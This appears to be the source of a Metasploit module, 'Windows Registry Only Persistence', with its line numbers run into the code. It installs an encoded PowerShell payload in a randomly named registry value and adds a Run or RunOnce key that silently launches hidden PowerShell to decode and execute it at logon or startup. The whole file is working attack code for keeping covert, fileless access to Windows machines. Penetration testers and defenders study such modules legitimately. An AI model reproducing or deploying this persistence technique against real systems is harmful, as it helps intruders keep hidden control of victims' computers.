Path: blob/master/modules/exploits/windows/persistence/registry.rb
32894 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::Powershell9include Msf::Post::Windows::Registry10include Msf::Post::File11include Msf::Exploit::Local::Persistence12prepend Msf::Exploit::Remote::AutoCheck13include Msf::Exploit::Deprecated14moved_from 'exploits/windows/local/registry_persistence'1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Windows Registry Only Persistence',21'Description' => %q{22This module will install a payload that is executed during boot.23It will be executed either at user logon or system startup via the registry24value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).25The payload will be installed completely in registry.26},27'License' => MSF_LICENSE,28'Author' => [29'Donny Maasland <donny.maasland[at]fox-it.com>', # original module30'h00die',31],32'Platform' => [ 'win' ],33'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],34'SessionTypes' => [ 'meterpreter', 'shell' ],35'Targets' => [36[ 'Automatic', {} ]37],38'References' => [39['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],40['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],41['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],42['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],43['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']44],45'DefaultTarget' => 0,46'DisclosureDate' => '2015-07-01',47'Notes' => {48'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],49'Stability' => [CRASH_SAFE],50'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]51}52)53)5455register_options([56OptEnum.new('STARTUP',57[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),58OptString.new('BLOB_REG_KEY',59[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),60OptString.new('BLOB_REG_NAME',61[false, 'The name to use for storing the payload blob. (Default: random)' ]),62OptString.new('RUN_NAME',63[false, 'The name to use for the \'Run\' key. (Default: random)' ]),64OptInt.new('SLEEP_TIME',65[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),66OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),67])68end6970def generate_payload_blob71opts = {72wrap_double_quotes: true,73encode_final_payload: true74}75cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]76end7778def generate_cmd(root_path, blob_key_name, blob_key_reg)79"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""80end8182def generate_blob_reg83blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"84blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)85return blob_reg_key, blob_reg_name86end8788def generate_cmd_reg89datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)90end9192def install_blob(root_path, blob, blob_reg_key, blob_reg_name)93blob_reg_key = "#{root_path}\\#{blob_reg_key}"94new_key = false95if !registry_enumkeys(blob_reg_key)96unless registry_createkey(blob_reg_key)97fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")98end99print_good("Created registry key #{blob_reg_key}")100new_key = true101end102103unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')104fail_with(Failure::Unknown, 'Failed to open the registry key for writing')105end106print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")107return new_key108end109110def regkey111datastore['REG_KEY']112end113114def install_cmd(cmd, cmd_reg, root_path)115unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')116fail_with(Failure::Unknown, 'Could not install run key')117end118print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")119end120121def get_root_path122return 'HKCU' if datastore['STARTUP'] == 'USER'123124'HKLM'125end126127def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)128@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"129if new_key130@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"131end132@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"133end134135def check136return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')137138vprint_good('Powershell detected on system')139140# test write to see if we have access141root_path = get_root_path142rand = Rex::Text.rand_text_alphanumeric(15)143144vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")145return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?146147registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")148149Msf::Exploit::CheckCode::Vulnerable('Registry writable')150end151152def install_persistence153print_status('Generating payload blob..')154blob = generate_payload_blob155print_good("Generated payload, #{blob.length} bytes")156157root_path = get_root_path158print_status("Root path is #{root_path}")159160blob_reg_key, blob_reg_name = generate_blob_reg161cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)162cmd_reg = generate_cmd_reg163164print_status('Installing payload blob..')165new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)166167print_status('Installing run key')168install_cmd(cmd, cmd_reg, root_path)169170create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)171end172end173174175